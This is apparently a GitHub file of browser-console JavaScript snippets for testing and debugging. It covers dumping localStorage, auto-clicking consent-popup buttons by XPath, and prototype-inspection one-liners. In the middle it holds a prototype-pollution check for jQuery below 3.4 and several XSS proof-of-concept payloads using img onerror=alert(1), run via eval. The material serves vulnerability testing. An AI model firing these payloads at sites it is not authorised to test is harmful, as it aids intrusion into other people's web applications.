-
Notifications
You must be signed in to change notification settings - Fork 0
/
EssentialShortcuts_OneLiners_js_php
210 lines (154 loc) · 8.46 KB
/
EssentialShortcuts_OneLiners_js_php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
// Javscript - Can be pasted into Inspect Element
// DUMP BROWSER STORE - to get all of that pages "Browser Store" data
// This is typically data stored other then cookies, related to the page your on
for (let i = 0; i < localStorage.length; i++) {
let key = localStorage.key(i);
let value = localStorage.getItem(key);
console.log(`${key}: ${value}`);
}
Example output:
STATSIG_LOCAL_STORAGE_INTERNAL_STORE_V4:{
"200381xxx3":{
"feature_gates":{
"575xxx630":{
"name":"57xxx30",
"value":false,
"rule_id":"default",
"id_type":"userID",
"secondary_exposures":[
]
},
..........
Using jQuery select all elements via Inspect/Console in class - .trigger-icon:
document.querySelectorAll('.trigger-icon').forEach(element => element.click());
----------
How to use Xpath in console (inspect)
var xpath = "//*[@id='didomi-consent-popup']/div/div/div/div/div[3]/div[1]/div[2]/div/div[128]/div[1]/div[1]/div";
var elements = document.evaluate(xpath, document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
for (var i = 0; i < elements.snapshotLength; i++) {
var element = elements.snapshotItem(i);
element.click();
}
- this is an example using Xpath
Another example to click all buttons/icons in the consent-popup
var xpath = "//*[@id='didomi-consent-popup']//div[@class='some-common-class']/button[1]"; // Adjust this XPath to target the buttons
var elements = document.evaluate(xpath, document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
for (var i = 0; i < elements.snapshotLength; i++) {
var element = elements.snapshotItem(i);
element.click();
}
-----------
- How to block all cookies / modify selectr for Xpath
ar xpath = "/html/body/div[1]/div/div[1]/div/div/div/div/div[3]/div[1]/div[2]/div/div[2]//button[text()='Block']"; // Adjust this XPath to accurately select all 'Block' options
var elements = document.evaluate(xpath, document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
for (var i = 0; i < elements.snapshotLength; i++) {
var element = elements.snapshotItem(i);
element.click();
}
-----------
Vuln POC for jQuery < 3.4.x
Goto inspect / console paste in:
jQuery.extend(true, {},
JSON.parse('{"__proto__": {"test": true}}')
);
console.log( "test" in {} ); // true
output - if "true" vulnerable - see https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
output - if "false" not vulnerable
------
var allInOneScript = `
// Create a container div for the buttons
var buttonContainer = document.createElement("div");
document.body.appendChild(buttonContainer);
// PoC 1
var poc1HTML = \`
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert(1)>
</xmp>
\`;
// PoC 2
var poc2HTML = \`
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert(1)>">
</xmp>
\`;
// PoC 3
var poc3HTML = \`
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert(1)></style>
</xmp>
\`;
// Append the HTML content to the container div
buttonContainer.innerHTML = poc1HTML + poc2HTML + poc3HTML;
// Define the test function in the global scope
function test(n, jq) {
sanitizedHTML = document.getElementById('poc' + n).innerHTML;
if (jq) {
$('#div').html(sanitizedHTML);
} else {
var div = document.createElement("div"); // Define div as a new div element
div.innerHTML = sanitizedHTML;
document.body.appendChild(div); // Append div to the document body
}
}
// Form submission code
$(document).on('invalid-form.validate', 'form', function () {
var button = $(this).find('input[type="submit"]');
setTimeout(function () {
button.removeAttr('disabled');
}, 1);
});
`;
// Execute the code
eval(allInOneScript);
-------
░▒▓██████▓▒░ ░▒▓███████▓▒░ ░▒▓█▓▒░▒▓████████▓▒░▒▓██████▓▒░▒▓████████▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒ ░▒▓███████▓▒░ ░▒▓█▓▒░▒▓██████▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░▒▓█▓▒ ░▒▓█▓▒░░▒▓█▓▒ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒ ░▒▓█▓▒░░▒▓█▓▒ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓██████▓▒░ ░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓███████▓▒░
AND PROTOTYPE ENUMERATION VIA CONSOLE
Testing different prototypes and objects in JavaScript can be crucial for understanding Javascript/DOM:
* inheritance
* Property access
* overall behavior of objects
Examples for console you can paste in to debug:
[ Check if an object is the prototype of another ]
Object.getPrototypeOf(childObj) === parentObj; // returns true if parentObj is the prototype of childObj
[ Verify if a property exists on an object's prototype chain ]
"propertyName" in obj; // returns true if propertyName exists anywhere in obj's prototype chain
[ Check if a property is directly on an object and not on its prototype chain ]
obj.hasOwnProperty('propertyName'); // returns true if propertyName is a direct property of obj
[ Create an object with a specific prototype ]
const newObj = Object.create(prototypeObj); // creates a new object with prototypeObj as its prototype
[ Add a property to an object’s prototype (affects all objects inheriting from it) ]
PrototypeObj.prototype.newProperty = 'value'; // adds newProperty to the PrototypeObj's prototype
[ Determine if one object is a prototype of another (alternative method) ]
childObj instanceof ParentClass; // returns true if ParentClass.prototype is in childObj's prototype chain
[ Get the constructor function of an object ]
obj.constructor; // returns the constructor function that created the instance obj
[ Check if an object is an instance of a specific constructor ]
obj instanceof ConstructorFunction; // returns true if obj is an instance of ConstructorFunction
[ Change an object’s prototype (modern browsers only, use with caution) ]
Object.setPrototypeOf(obj, newPrototype); // changes the prototype of obj to newPrototype
[ Clone an object including its prototype ]
const clone = Object.create(Object.getPrototypeOf(obj), Object.getOwnPropertyDescriptors(obj));
[ List all properties of an object, including non-enumerable ones ]
Object.getOwnPropertyNames(obj); // returns an array of all properties found directly upon obj
[ Check for an object's own enumerable properties ]
Object.keys(obj); // returns an array of all enumerable properties found directly upon obj
[ Freeze an object to prevent new properties from being added and existing ones from being changed ]
Object.freeze(obj); // freezes obj, making it immutable
[ Seal an object to prevent new properties from being added while allowing modifications to existing pro ]
Object.seal(obj); // seals obj, can't add new properties but can modify existing ones
[ Check if an object is frozen ]
Object.isFrozen(obj); // returns true if obj is frozen
[ Check if an object is sealed ]
Object.isSealed(obj); // returns true if obj is sealed